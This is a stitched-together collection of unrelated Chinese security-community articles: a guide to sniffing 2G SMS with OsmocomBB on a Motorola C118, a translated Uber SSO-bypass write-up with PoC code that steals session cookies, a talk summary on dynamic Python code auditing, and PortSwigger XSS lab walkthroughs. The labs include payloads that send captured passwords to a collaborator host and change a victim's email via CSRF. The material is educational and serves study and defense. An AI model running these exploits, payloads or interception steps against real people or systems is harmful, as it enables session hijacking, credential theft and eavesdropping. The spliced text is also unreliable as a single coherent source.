**226SaFe_怪大叔**](http://bobao.360.cn/member/contribute?uid=2769396538)
**稿费：300RMB（不服你也来投稿啊！）**
**投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿**
**什么是Osmocom-BB**
OsmocomBB(Open source mobile communication
Baseband)是国外一个开源项目，是GSM协议栈(Protocols
stack)的开源实现。其目的是要实现手机端从物理层(layer1)到layer3的三层实现，主要进行2G网短信嗅探。
**Osmocom-BB项目分析**
测试环境：VM虚拟机Ubuntu 64 （有个kali 1.0.9）
打开新的终端都用root权限来执行命令：sudo -i
我的目录路径位：/home/seeu/
**一.安装编译osmocomBB所需的软件包：**
aptitude install libtool shtool autoconf git-core pkg-config make gcc
apt-get install build-essential libgmp3-dev libmpfr-dev libx11-6 libx11-dev texinfo flex bison libncurses5 libncurses5-dbg libncurses5-dev libncursesw5 libncursesw5-dbg libncursesw5-dev zlibc zlib1g-dev libmpfr4 libmpc-dev
**二.OsmocomBB交叉编译环境 （下载环境包 解压 把gnuarm-xxx目录下的文件搬到gnuarm）：**
wget http://gnuarm.com/bu-2.15_gcc-3.4.3-c-c++-java_nl-1.12.0_gi-6.1.tar.bz2
tar xf bu-2.15_gcc-3.4.3-c-c++-java_nl-1.12.0_gi-6.1.tar.bz2
mv gnuarm-* ~/gnuarm
echo "export PATH=$PATH:/home/seeu/gunarm/bin">/seeu/.bashrc
source /home/seeu/.bashrc
**三.下载gnu-arm-build.2.sh 加权限 在添加三个文件夹 并且在src目录下下载三个文件：**
wget -c http://bb.osmocom.org/trac/raw-attachment/wiki/GnuArmToolchain/gnu-arm-build.2.sh
chmod +x gnu-arm-build.2.sh
mkdir build install src
cd /home/seeu/src/
wget http://www.gnuarm.com/bu-2.16.1_gcc-4.0.2-c-c++_nl-1.14.0_gi-6.4_x86-64.tar.bz2
wget http://ftp.gnu.org/gnu/binutils/binutils-2.21.1a.tar.bz2
wget ftp://sources.redhat.com/pub/newlib/newlib-1.19.0.tar.gz
cd ..
./gnu-arm-build.2.sh
**
**
**四.编译libosmocore，OsmocomBB：**
cd /home/seeu/
git clone git://git.osmocom.org/libosmocore.git
cd libosmocore/
autoreconf -i
./configure
make
make install
cd ..
.ldconfig
git clone git://git.osmocom.org/osmocom-bb.git
cd /home/seeu/osmocom-bb
git checkout --track origin/luca/gsmmap
cd src
git pull --rebase
make
如果没有错误的话，那么恭喜你，环境设置已完成。
**常见错误请看下面：**
**错误一：**
/root/osmocom-bb/src/target/firmware/include/asm/swab.h: Assembler messages:
/root/osmocom-bb/src/target/firmware/include/asm/swab.h:32: Error: no such instruction: `eor %edx,%ecx,%ecx,ror’
make[4]: *** [gsmtap_util.lo] 错误 1
make[4]: Leaving directory `/root/osmocom-bb/src/shared/libosmocore/build-target/src’
make[3]: *** [all] 错误 2
make[3]: Leaving directory `/root/osmocom-bb/src/shared/libosmocore/build-target/src’
make[2]: *** [all-recursive] 错误 1
make[2]: Leaving directory `/root/osmocom-bb/src/shared/libosmocore/build-target’
make[1]: *** [all] 错误 2
make[1]: Leaving directory `/root/osmocom-bb/src/shared/libosmocore/build-target’
make: *** [shared/libosmocore/build-target/src/.libs/libosmocore.a] 错误 2
或者
configure: error: C compiler cannot create executables
See `config.log’ for more details
make: *** [shared/libosmocore/build-target/Makefile] 错误 77
这两个错误都是OsmocomBB交叉编译环境出现问题，因为网上很多文章说一半不说一半导致 没安装好标题二里面的环境包又或者你的环境包下载错了
**解决：**
安装
32位架构
wget http://gnuarm.com/bu-2.15_gcc-3.4.3-c-c++-java_nl-1.12.0_gi-6.1.tar.bz2
tar xf bu-2.15_gcc-3.4.3-c-c++-java_nl-1.12.0_gi-6.1.tar.bz2
mv gnuarm-* ~/gnuarm
64位架构
wget http://www.gnuarm.com/bu-2.16.1_gcc-4.0.2-c-c++_nl-1.14.0_gi-6.4_x86-64.tar.bz2
tar xf bu-2.16.1_gcc-4.0.2-c-c++_nl-1.14.0_gi-6.4_x86-64.tar.bz2
mv gnuarm-* ~/gnuarm
**错误二：**
make[1]: *** [board/compal_e88/hello_world.compalram.elf] 错误 1
make[1]: Leaving directory `/root/osmocom-bb/src/target/firmware’
make: *** [firmware] 错误 2
解决：
执行
git clean -dfx
make
**错误三：**
解决：
安装
sudo apt-get install libusb-dev libpcsclite-dev
sudo apt-get install libusb-0.1-4 libpcsclite1 libccid pcscd
**错误四：**
解决：
安装
[http://www.linuxfromscratch.org/blfs/view/cvs/general/talloc.html](http://www.linuxfromscratch.org/blfs/view/cvs/general/talloc.html)
————————————————————————————————————
终于到了折腾硬件了，嘿嘿
设备：
MOTOROLA_C118手机
CP201X(USB to TTL)
数据线
（某宝买现成的线）
**
**
**五.关机插入USB，写入代码**
lsusb //查看是否插入成功
cd /home/seeu/osmocom-bb/osmocom-bb/src/host/osmocon/
./osmocon -m c123xor -p /dev/ttyUSB0 ../../target/firmware/board/compal_e88/layer1.compalram.bin
按一下开机键（短按，不是长按）
有时候停了 就按一下开机键（我有时候需要按几次才完全写入的）
看到这里就写入成功了。手机上也出现 layer 1 osmocom bb
**六.打开新终端输入**
B终端
cd /home/seeu/osmocom-bb/src/host/layer23/src/misc/
./cell_log -O //搜索附近伪基站
C终端
cd /home/seeu/osmocom-bb/src/host/layer23/src/misc/
./ccch_scan -i 127.0.0.1 -a ARFCN （如刚刚搜索附近的伪基站 ./ccch_scan -i 127.0.0.1 -a 46）
D终端
wireshark -k -i lo -f 'port 4729' //打开ws开始抓包
筛选gsm_sms //这里我就不截图了，农村没有抓到。
以上常见错误：
**错误一：**
解决：
是串口问题
虚拟机-设置-添加-串行端口
<http://www.ithao123.cn/content-2439912.html>
**错误二：**
虚拟机插入USB没反应
解决：
计算机-属性-高级设置-服务 找到VMxxxx-USB点击启动 然后重新打开虚拟机
**错误三：**
手机写不进代码
解决：
拔电池 重新来！
装逼图：
————————————————————————————————————
网上比较好的文章：
<http://bbs.pediy.com/showthread.php?t=190535>
<http://www.blogjava.net/baicker/archive/2013/11/13/406293.html> | 社区文章 |
# 【技术分享】通过子域名接管绕过Uber的SSO认证
|
##### 译文声明
本文是翻译文章，文章来源：arneswinnen.net
原文地址：<https://www.arneswinnen.net/2017/06/authentication-bypass-on-ubers-sso-via-subdomain-takeover/>
译文仅供参考，具体内容表达以及含义原文为准。
****
译者：[WisFree](http://bobao.360.cn/member/contribute?uid=2606963099)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**
**
**概述**
Uber的saostatic.uber.com节点存在安全漏洞，攻击者可以利用该漏洞通过Amazon CloudFront
CDN实现子域名接管。除此之外，Uber近期在auth.uber.com部署的单点登录（SSO）系统中也存在安全问题。这种SSO系统可以通过在所有*.uber.com子域名之间共享cookie来实现单点登录，但其中存在的安全问题将允许攻击者通过任意一个被入侵的*.uber.com子域名来窃取会话cookie。因此，之前的子域名接管问题将会提升为Uber
SSO系统的身份认证绕过问题。目前，Uber已经修复了这个子域名接管漏洞，并且专门为这两个安全问题提供了5000美金的漏洞奖金。
**单点登录系统（SSO）的安全问题**
一般来说，单点登录系统主要有以下三种类型：
1\.
OAuth：认证的安全性主要是通过在白名单中设置服务提供者的URL回调地址实现的，其中CSRF保护是通过“state”参数实现的，可能存在的漏洞一般是开放重定向链。【[案例](https://www.arneswinnen.net/2017/06/authentication-bypass-on-airbnb-via-oauth-tokens-theft/)】
2\.
SAML&Friends：安全性是基于XML信息加密实现的，加密使用的是服务与识别提供商之间预交换的加密密钥，可能存在的漏洞一般是XML签名绕过。【[案例](https://hackerone.com/reports/136169)】
3\.
子域名之间共享会话cookie：这类SSO系统的安全性取决于所有子域名的整体安全性。任何一个子域名中如果存在漏洞的话，攻击者将有可能窃取到SSO系统的共享会话cookie，可能存在的漏洞一般是远程代码执行漏洞、调式日志泄露和子域名接管等等。【[案例](https://www.arneswinnen.net/2016/11/authentication-bypass-on-sso-ubnt-com-via-subdomain-takeover-of-ping-ubnt-com/)】
我个人认为，前两种单点登录系统以前确实存在很多安全问题，但现在这两类系统的安全性都已经得到了很大程度的提升。相比来说，第三种SSO系统出现得比前两种都要早。从设计角度来看，任何需要利用SSO系统完成认证的节点都必须是同一个顶级域名下的子域名，由于这种SSO系统的安全性取决于所有子域名的整体安全性，所以这类SSO系统的攻击面也非常广。
**Uber案例**
在此之前，Uber使用的是OAuth来作为*.uber.com子域名的SSO系统，但近期他们将*.uber.com子域名的SSO系统换成了基于共享会话cookie的SSO系统。如果你现在访问任何一个需要进行身份验证的uber.com子域名的话，你都会被重定向到auth.uber.com。当你在这个节点完成登录之后再访问其他子域名的话，你相当于通过SSO系统登陆了auth.uber.com，因为当用户登录了一次之后，SSO系统便会为每一个*.uber.com子域名发送临时会话cookie。
但是研究人员在Uber的这个SSO系统中发现了一个安全漏洞，当目标用户在SSO系统中完成了身份验证之后，该漏洞将允许攻击者窃取auth.uber.com发送给任意uber.com子域名的有效会话cookie。不过Uber也采取了一些措施来防止这种事情的发生，但这些措施都可以被绕过。再加上研究人员报告的子域名接管漏洞，这将意味着任何被入侵的*.uber.com子域名都可以用来执行这种SSO认证绕过攻击。
**子域名接管**
子域名saostatic.uber.com指向的是Amazon Cloudfront CDN（通过DNS
CNAME记录），但是主机名并没有进行过注册，这也就意味着我可以完全接管这个域名。在进行了一番探索之后，我成功接管了Uber的一个子域名，并上传了一个简单的HTML页面来作为PoC:
**认证绕过**
在Uber的SSO系统中，auth.uber.com作为一个身份提供者给https://*.uber.com提供临时共享会话cookie，并与服务提供者（例如riders.uber.com,
partners.uber.com, central.uber.com,
vault.uber.com和developer.uber.com等等）进行身份信息的验证。服务提供者在自己的节点中立刻清除传入的临时共享会话cookie来降低cookie被窃取的可能性。下图显示的是Uber
SSO系统的用户登录流程：
因此，共享会话cookie“_csid”只能在第九步至第十二步之间被窃取，而这是一个间隔非常短的时间周期，虽然这并非不能实现，但我们还发现了另一种更加容易利用的漏洞。在这个漏洞的帮助下，我们可以让共享会话cookie在第十二步之后仍然保存在浏览器的cookie记录中。问题就在于，如果目标用户已经在https://riders.uber.com节点完成了登录，那么此时当这个用户又接收到了一个从auth.uber.com发来的新生成的有效共享会话cookie“_csid”时，这个新的cookie将会被忽略，并且仍保持有效。由于在浏览器清除保存的cookie内容之前，这个被忽略的cookie将一直有效，因此攻击者就可以通过重放上图的第三步并在第十三步的请求中添加一个指向https://saostatic.uber.com的隐藏请求，他们就可以窃取到宝贵的会话cookie了:
当攻击者得到了目标用户的共享会话cookie“_csid”（例如https://riders.uber.com的cookie）之后，攻击者就可以在他们自己的浏览器中完成正常的登录流程，即替换上图中第九步的“_csid”
cookie值并冒充用户进行登录。不过别着急，这只是理想状态，因为Uber在这里还采取了一种名叫登录跨站请求伪造保护的应对措施。下面给出的是更新后的Uber
SSO登录流程：
问题就在于这里的GET参数state=CSRFTOKEN，而状态cookie是服务提供者https://riders.uber.com在第三步中添加的，并在第十一步进行验证。由于我们无法从目标用户的浏览器中窃取这些cookie值，但我们的目标又是共享会话cookie“_csid”，那这是否就意味着Game
Over了呢？
当然不是！因为攻击者可以通过正常的登录操作从https://riders.uber.com获取到正确的CSRFTOKEN值（state
cookie），那么攻击者就能够在自己的浏览器中将https://riders.uber.com在第三步生成的auth.uber.com
URL链接转发至目标用户的流啊理念其中，然后生成并窃取共享会话cookie
“_csid”，最后按照第九步的操作将这些窃取来的值注入到自己浏览器的登录场景中。通过这种方法，目标用户将会生成临时会话令牌"_csid"，而攻击者就可以在另一个浏览器中利用这个token。攻击的实现过程如下图所示：
**PoC**
再多的流程图也比不过一个PoC来得清楚。
攻击演示流程：
1\.
打开目标用户的浏览器，访问https://riders.uber.com。在被重定向到了https://auth.uber.com之后，使用用户的凭证完成登录，最终重新回到https://riders.uber.com仪表盘。
2\.
在目标用户的浏览器中打开另一个网页标签，访问https://saostatic.uber.com/prepareuberattack.php。无论弹出什么对话框，都点击“接受”，页面完成加载之后，你就可以看到底部会出现一个URL、“Cookie:”和“Set-Cookie：”，这便是我们自动窃取来的所有登录信息。
3\.
打开攻击者的浏览器，然后设置一个拦截代理来拦截请求和响应信息。访问prepareuberattack.php页面输出的URL链接，然后拦截请求。最后，将prepareuberattack.php页面中显示的“Cookie:”信息拷贝到请求头中。
4\.
响应信息应该是指向https://riders.uber.com/trips的重定向链接，这表明我们成功绕过了Uber的身份认证。接下来，在响应信息到达浏览器之前将“Set-Cookie：”所有的内容拷贝到响应信息中，这样将保证窃取来的cookie永久注入到了攻击者的浏览器中。
5\. 现在，攻击者就已经在自己的浏览器中以目标用户的身份完成了登录。
攻击演示视频如下：
视频地址: [https://youtu.be/0LoQ1rZfyP4](https://youtu.be/0LoQ1rZfyP4)
在真实的攻击场景中，攻击者可以在目标用户的浏览器中（例如通过iframe）悄悄加载https://saostatic.uber.com/prepareuberattack.php。攻击者可以直接将窃取来的cookie信息保存在服务器端，而无须显示在prepareuberattack.php页面中。下面给出的是页面https://saostatic.uber.com/prepareuberattack.php和页面https://saostatic.uber.com/uberattack.php的代码。虽然代码写的不是很好，但它的功能是没问题的：
**prepareuberattack.php**
<html>
<body>
<script>
<?php
function HandleHeaderLine( $curl, $header_line ) {
preg_match("/state=([^;]*);/", $header_line, $matches);
if(sizeof($matches) > 0) {
print("var cookiestate = '" . $matches[1] . "';n");
}
preg_match("/Location: (.*)/", $header_line, $matches);
if(sizeof($matches) > 0) {
print("var loc = '" . trim($matches[1]) . "';n");
}
return strlen($header_line);
}
$c = curl_init('https://riders.uber.com');
curl_setopt($c, CURLOPT_VERBOSE, 1);
curl_setopt($c, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($c, CURLOPT_HEADERFUNCTION, "HandleHeaderLine");
$page = curl_exec($c);
?>
var csrf = loc.substring(loc.lastIndexOf("=")+1);
var img = document.createElement("IMG");
img.onerror = function () {
var iframe = document.createElement("iframe");
iframe.setAttribute("src","https://saostatic.uber.com/uberattack.php?cookiestate=" + encodeURIComponent(cookiestate) + "&csrftoken=" + csrf);
iframe.setAttribute("width", "100%");
iframe.setAttribute("height", "10000");
document.body.appendChild(iframe);
}
img.src=loc;
</script>
</body>
</html>
**uberattack.php**
<html>
<body>
<?php
$cookiestring = "state=" . $_GET["cookiestate"] . "; ";
$interestincookies = array("_udid", "_csid", "sid");
foreach ($_COOKIE as $name => $value) {
if (in_array($name,$interestincookies)) {
$cookiestring = $cookiestring . $name . "=" . str_replace(' ', '+', $value) . "; ";
$cookiestringset = $cookiestringset . "Set-Cookie: " . $name . "=" . str_replace(' ', '+', $value) . ";</br>";
}
}
print "Url: " . 'https://riders.uber.com/?state=' . urlencode($_GET["csrftoken"]) . "<br /><br />";
print "Cookie: " . $cookiestring . "<br />";
print "<br />" . $cookiestringset . "<br />";
?>
</body>
</html>
第一个文件可以托管在任何地方，第二个文件必须托管在劫持的子域名中。我们可以将这两份PHP文件中的“riders.uber.com”改为其他的Uber子域名，例如vault.uber.com、partners.uber.com和developer.uber.com。
**修复建议**
我们提供给Uber的建议主要有以下两个方面：
1\. 通过移除指向AWS CloudFront CDN的无效CNAME记录来解决saostatic.uber.com的子域名接管问题。
2\. 通过以下几种方法解决身份认证绕过问题：
a) 将SSO系统恢复为使用OAuth 2协议；
b) 引入IP地址检测机制；
c) 将所有的*.uber.com子域名加入Uber的漏洞奖励计划范畴；
最终，Uber移除了不安全的CNAME记录，并通过引入IP地址检测机制来降低了Uber SSO系统的攻击面。 | 社区文章 |
**作者：niexinming
作者博客：<https://www.n0tr00t.com/2018/08/30/Python-dynamic-codereview.html>**
**议题 PPT 下载地址：[/static/ppt/KCon-2018-Python-dynamic-codereview.pptx](https://www.n0tr00t.com/static/ppt/KCon-2018-Python-dynamic-codereview.pptx)**
### 0x00 动态代码审计用处
1. 大型项目代码结构复杂
2. 有些危险的功能隐藏较深（危险的定时计划任务、sqlite数据库任意创建导致任意文件覆盖……）
3. 提高效率，希望通过一些黑盒的方法比较快速的找到漏洞。
### 0x01 常见漏洞分类
1. 数据库操作
2. 敏感函数的调用和传参
3. 文件读写操作
4. 网络访问操作
### 0x02 正文目录
1. 数据库general log 日志
2. hook关键函数
3. 结合auditd
4. http盲攻击
5. fuzzing
### 0x03 数据库日志
general-log是记录所有的操作日志,不过他会耗费数据库5%-10%的性能,所以一般没什么特别需要,大多数情况是不开的,例如一些sql审计和代码审计等,那就是打开来使用了
Mysql通过命令行的方式打开general log:
set global general_log_file='';
set global general_log=on;
Postgresql 通过编辑配置文件打开general log:
编辑：postgresql.conf
log_directory = 'pg_log'
log_filename = 'postgresql-%Y-%m-%d_%H%M%S.log'
log_statement = 'all'
打开之后用burp向web api发送一些包含sql注入的畸形数据
利用Linux的grep指令过滤出sql执行中的ERROR关键字，就可以很快的找到sql注入漏洞
### 0x04 Hook关键函数
根据[基于python的自动化代码审计](https://www.secpulse.com/archives/68344.html)和[pyekaboo](https://github.com/SafeBreach-Labs/pyekaboo/)这两个文章的启发而来
Python对象可以被轻易的改变，通过设置PYTHONPATH这个环境变量，使python在加载string这个模块的时候优先加载我自定义的string模块，下图演示的是劫持string模块的upper函数
之后我的思路是，通过劫持python的函数，把输入到危险函数的参数输出到日志中，最后调用正常的python函数
这样就可以劫持我们认为敏感的函数
劫持模块的demo：
import imp
import sys
class _InstallFcnHook(object):
def __init__(self,fcn):
self._fcn=fcn
def _pre_hook(self,*args,**kwargs):
print "hook:"+str(args)
return (args,kwargs)
def __call__(self,*args,**kwargs):
(_hook_args,_hook_kwargs)=self._pre_hook(*args,**kwargs)
retval=self._fcn(*_hook_args,**_hook_kwargs)
return retval
fd,pathname,desc=imp.find_module(__name__,sys.path[::-1])
mod =imp.load_module(__name__,fd,pathname,desc)
system=_InstallFcnHook(system)
劫持效果：
这就意味着我们可以劫持危险的函数，把参数输出到日志里面，通过日志信息，可以判断这些参数是否可以被输入控制。通过这种方式可以方便找到ssti、pickle反序列化漏洞和命令执行漏洞等其他的漏洞
而且这些可以很方面的拓展到其他的模块中
1. cd hook/ #进入到hook模块所在目录
2. cp os.py xxx.py #把os模块复制一份，xxx模块是你想hook的模块
3. 编辑xxx.py ：注释掉原来被hook的函数，添加想要hook的函数，下面的示例是hook了subprocess模块中check_call函数
Ps 需要填一些坑：
1. 修改启动代码从shell中启动python web
因为有一些python web是从wsgi中启动的，这些只要简单修改启动代码就可以从WSGI方式启动切换到shell启动
2. 从内存中删掉已加载的模块
一些模块通过 **import** 动态导入，需要在动态导入后通过del modules删掉被装载的模块
3. 关闭调试选项
例如在flask启动时将debug选项设置为false，否则会产生两个python进程
4. 其他问题 Python web性能下降、代码不兼容、有些模块无法被hook，其中python的内置函数open就无法通过这样的方式被hook。
### 0x05 结合Auditd
网上有很多方法去获取python
web的文件读写操作，其中有一种是在文件读写函数前面添加装饰器，但是我觉得那种方法太过于烦琐，且不能覆盖到所有的文件读写操作，那怎么不通过修改原始代码去获取文件读写操作？
可以利用Auditd：
auditd（或 auditd 守护进程）是Linux审计系统中用户空间的一个组件，其可以记录Linux中文件，进程等操作,且安装方便
CentOS 默认安装
Ubuntu 安装：apt-get install auditd
只要简单的配置就可以监视一些文件操作
sudo auditctl -a exclude,always -F msgtype!=PATH -F msgtype!=SYSCALL #记录文件操作
sudo auditctl -a always,exit -F arch=b64 -S execve -k rule01_exec_command #记录所有的shell指令的执行
sudo auditctl -a always,exit -F pid=$mypid #记录指定进程文件操作
执行 sudo auditctl -l 查看所有的规则
只要发送一些包含目录跳转的畸形数据给webapi，如有任意文件读取的漏洞就可以很快的发现。
因为Auditd日志中包含大量其他的日志，通过grep和关键字高亮工具（<https://github.com/paoloantinori/hhighlighter>）进行查看日志（grep过滤PATH，高亮name）
除了记录文件读取，还能记录文件的其他操作
这样就可以找到：
1. 任意文件上传
2. 任意文件创建
3. 任意文件读取
4. 任意文件删除
### 0x06 http盲攻击
怎么解决诸如ssrf等网络操作的问题？
ssrf攻击可以让黑客越过防火墙来探测或者攻击一个大型企业的内网
那么在动态代码审计过程中就可以通过构造特定的poc，来探测代码中是否有对应的漏洞
可以构造请求dns解析的数据
1. 命令执行的常见形式 `Ping –c 1 xxx.pw`
2. ssrf的常见形式 `url=http://xxx.pw`
3. xxe的常见形式
通过dns日志的记录可以很快找到诸如ssrf、xxe、命令执行等，包括可以找到一些隐藏的比较深的定时计划任务的中漏洞
### 0x07 fuzzing
做完上面的一些工作之后，我在想如何提高我的工作效率，毕竟我们部门产品众多，但是代码审计这个工作只有我一个在做。我把正常数据，畸形数据，poc数据，等其他数据全发给web
api，然后在审计数据库日志，危险函数日志，auditd日志，dns日志，web报错日志，希望能从日志中发现潜藏的漏洞
利用burp的intruder这个功能就可以实现，测试用例可以使用[wooyun提供的fuzzing数据](https://github.com/xinali/wooyun)
Ps 还是有几个自己需要处理的问题：
1. 需要根据自己的业务类型制定自己的测试用例
2. 自己要想办法处理产生的大量的日志
3. 其他问题
### 0x08 TODO
1. 自动化部署客户端
2. 开发一个日志处理平台
3. 尽可能的覆盖更多的漏洞类型
4. 丰富测试用例
5. 开源（ <https://github.com/niexinming/python_hook>）
* * * | 社区文章 |
# 初级篇
前面的很简单,看看就过吧
## [Reflected XSS into HTML context with nothing
encoded](https://portswigger.net/web-security/cross-site-scripting/reflected/lab-html-context-nothing-encoded)
payload
<script>alert(1)</script>
## [Stored XSS into HTML context with nothing
encoded](https://portswigger.net/web-security/cross-site-scripting/stored/lab-html-context-nothing-encoded)
payload
<script>alert(1)</script>
## [DOM XSS in document.write sink using source
location.search](https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-document-write-sink)
漏洞成因
query参数可控,闭合标签
payload
"><svg onload=alert(1)>
## [DOM XSS in innerHTML sink using source
location.search](https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-innerhtml-sink)
漏洞成因
payload
<img src=1 onerror=alert(1)>
## [DOM XSS in jQuery anchor href attribute sink using location.search
source](https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-jquery-href-attribute-sink)
漏洞成因
returnPath可控,直接写入属性href
payload
javascript:alert(document.cookie)
## [DOM XSS in jQuery selector sink using a hashchange
event](https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-jquery-selector-hash-change-event)
漏洞成因
触发hashchange事件时执行匿名函数
var post=$()这行是用jquery选择对应的元素,可以定位到多个元素
所以下面一行post.get(0)是指符合条件的第一个元素
如果元素存在则执行post.get(0).scrollIntoView();
scrollIntoView()这个方法是跳到对应的元素显示出来
此代码测试scrollIntoView()
触发点击事件后会自动跳到2所在的地方
那接下如何触发hashchange事件
也就是说url中#在内以及以后的部分发生变化就会触发hashchange事件
最后看关键行
`var post = $('section.blog-list h2:contains(' +
decodeURIComponent(window.location.hash.slice(1)) + ')');`
window.location.hash.slice(1)这部分就是指#后面的内容
decodeURIComponent()就是url解码
假设url后面就是#1234
那么这句代码就变成了`var post = $('section.blog-list h2:contains('1234')');`
接下来看选择器选中的元素
也就是当这些h2标签中含有1234页面就会跳到那个位置
接下来验证猜想
找到最后一个h2内容是Spider Web Security
访问#Security果然会跳到最后的位置
到这里代码就全明白了
思考下面payload为什么能弹窗
先访问#再访问下面的payload
#<img%20src=x%20onerror=alert(1)>
根据我们对代码的分析,这个payload没道理会弹窗的
对代码进行调试分析
发现把代码删减后只留下一行仍会弹窗,说明弹窗就在这一行
var post = $('section.blog-list h2:contains(' + decodeURIComponent(window.location.hash.slice(1)) + ')');
继续改代码,省略传参和事件响应
仍旧弹窗,说明该弹窗是由jquery触发的
我想这个题的知识点就是在此
`jquery选择器内可以插入标签`
利用payload
前面的代码都懂了,也明白为什么弹窗了,下面就是水到渠成了
<iframe src="https://YOUR-LAB-ID.web-security-academy.net/#" onload="this.src+='<img src=x onerror=print()>'"></iframe>
## [Reflected XSS into attribute with angle brackets HTML-encoded](https://portswigger.net/web-security/cross-site-scripting/contexts/lab-attribute-angle-brackets-html-encoded)
payload
闭合了value的双引号
"onmouseover="alert(1)
## [Stored XSS into anchor href attribute with double quotes HTML-encoded](https://portswigger.net/web-security/cross-site-scripting/contexts/lab-href-attribute-double-quotes-html-encoded)
payload
把输入的内容直接放到href里了,也没啥技术含量
javascript:alert(1)
## [Reflected XSS into a JavaScript string with angle brackets HTML
encoded](https://portswigger.net/web-security/cross-site-scripting/contexts/lab-javascript-string-angle-brackets-html-encoded)
payload
闭合单引号执行js
这里有个知识点值得注意,下面代码会弹窗三次
`字符串+-alert()+-字符串仍旧会执行alert`
# 中级篇
## [DOM XSS in document.write sink using source location.search inside a
select element](https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-document-write-sink-inside-select-element)
payload
参数storeId可控,闭合了select标签,追加img标签
product?productId=1&storeId="></select><img%20src=1%20onerror=alert(1)>
## [DOM XSS in AngularJS expression with angle brackets and double quotes
HTML-encoded](https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-angularjs-expression)
此题中<>和引号均被实体化
但发现使用了angular
angular和jquery一样具有自己的特性
payload
{{$on.constructor('alert(1)')()}}
## [Reflected DOM XSS](https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-dom-xss-reflected)
payload
"-alert(1)}//
## [Stored DOM XSS](https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-dom-xss-stored)
漏洞成因
下手的地方就是以上两处
payload
<><img src=1 onerror=alert(1)>
由代码可知这两个位置payload都可以执行
## [Exploiting cross-site scripting to steal
cookies](https://portswigger.net/web-security/cross-site-scripting/exploiting/lab-stealing-cookies)
此处开始有点接近实战利用了
利用xss偷取cookie
下面代码就像burp里的repeater一样发送个post请求,请求体是cookie
谁触发了xss这个请求体的cookie自然就是谁的
在自己服务器上做好记录就能看到所有请求以及请求体,如下
搭建好web服务好像请求的url是会自动生成日志的,名字类似xxx_access_log(不会记录body部分)
想省劲的话可以直接在url后面拼接document.cookie
这里多说两句
既然别人带着该网站的cookie访问你的服务器
那你可以在服务器写个脚本(防止cookie过期失效)
1.保存cookie
2.带着cookie发起某些请求,获取敏感信息或进行敏感操作
## [Exploiting cross-site scripting to capture
passwords](https://portswigger.net/web-security/cross-site-scripting/exploiting/lab-capturing-passwords)
也是实战,偷取密码
payload
<input name=username id=username>
<input type=password name=password onchange="if(this.value.length)fetch('https://BURP-COLLABORATOR-SUBDOMAIN',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">
流程基本和上一题是一样的
不过这个payload修改了原有的html
payload中的两个input输入框是我们自己插入的
当有人在输入框输入账号密码,触发onchange事件
onchange事件会把账号密码发送到别人服务器
## [Exploiting XSS to perform CSRF](https://portswigger.net/web-security/cross-site-scripting/exploiting/lab-perform-csrf)
上面也提到了,获取cookie后可以进行敏感操作
但是有一些操作是需要csrf校验的,如下
获取csrf token的两种方式
1.利用js代码,获取受害者主机上面的token(在受害者主机发起请求)---稍微麻烦
2.在自己电脑上替换cookie,提取自己主机上面的token(在自己主机发起请求)---简单无脑
下面这个payload就是提取了受害者主机上面的token在受害者主机上发起请求(有些严苛条件不得不这么做)
<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/my-account',true);
req.send();
function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/my-account/change-email', true);
changeReq.send('csrf='+token+'&[email protected]')
};
</script>
上面payload中的逻辑顺序是
1.访问my-account页面
2.正则提取csrf token
3.带着token访问/my-account/change-email修改邮箱
注意一点,虽然`req.onload = handleResponse;`写在第三行
实际是在打开my-account(四五行)后才执行的(要不然你提取哪里的csrf token)
## [Reflected XSS into HTML context with most tags and attributes
blocked](https://portswigger.net/web-security/cross-site-scripting/contexts/lab-html-context-with-most-tags-and-attributes-blocked)
这里就涉及到fuzz的艺术了
首先爆破哪些标签可以用
得到可用标签
爆破可用事件
得到可用事件
payload:body+onresize
onresize在窗口大小改变时触发,那我们直接用代码改变窗口大小就可以了
这里值得思考一下,我们能写dom或者js的地方只有onresize事件里
假如是这样写`<body onresize="print();window.resizeBy(1,1);">`就本末倒置了
所以在onresize事件里写出触发onresize事件的代码是不靠谱的
这里payload借用了iframe的onload事件来触发onresize事件
<iframe src="https://your-lab-id.web-security-academy.net/?search=%22%3E%3Cbody%20onresize=print()%3E" onload=this.style.width='100px'>
实际利用就是把payload插入到自己的网站中偷cookie
注意比较
在Exploiting cross-site scripting to steal cookies这题中,
xss是插入在A站点评论区的,也就是说你偷取的cookie肯定是A站点的且大概率是已经登录过的cookie
在本题中,
xss是插入在自己站点上,你并不知道别人有没有登录过A站点所以获取到的大概率是未登录过的cookie
## [Reflected XSS into HTML context with all tags blocked except custom
ones](https://portswigger.net/web-security/cross-site-scripting/contexts/lab-html-context-with-all-standard-tags-blocked)
新知识点:自定义标签
假设waf已经对所有标签拦截且只有onfocus事件可以用
官方payload
<script>
location = 'https://your-lab-id.web-security-academy.net/?search=%3Cxss+id%3Dx+onfocus%3Dalert%28document.cookie%29%20tabindex=1%3E#x';
</script>
xss标签是我们自定义的标签
这里无论id还是class始终弹出-2
结论:网页会自动聚焦在url中有#选择元素里tabindex最小的一个元素
知道了原理,触发弹窗有两个条件
1.url后面跟#选择器
2.选择器选中的元素有tabindex属性且值最小
提出问题:为什么官方payload直接贴上却不会弹窗?(学会思考才是最重要的)
首先判断是否符合条件2(为什么不先判断条件1,因为条件2比较好测)
最终得到的payload
search=<xss+id%3Dx+onfocus%3Dalert%281%29%20tabindex=-100>xss</xss>#x
## [Reflected XSS with some SVG markup allowed](https://portswigger.net/web-security/cross-site-scripting/contexts/lab-some-svg-markup-allowed)
和之前一题一样fuzz得到未过滤的标签以及事件
可用标签三个
可用事件一个
这里说一下为什么要用animateTransform标签
上面可以看到可以用的事件只有onbegin,而svg标签是没有这个事件的
animateTransform是有onbegin事件的
svg和animateTransform的关系
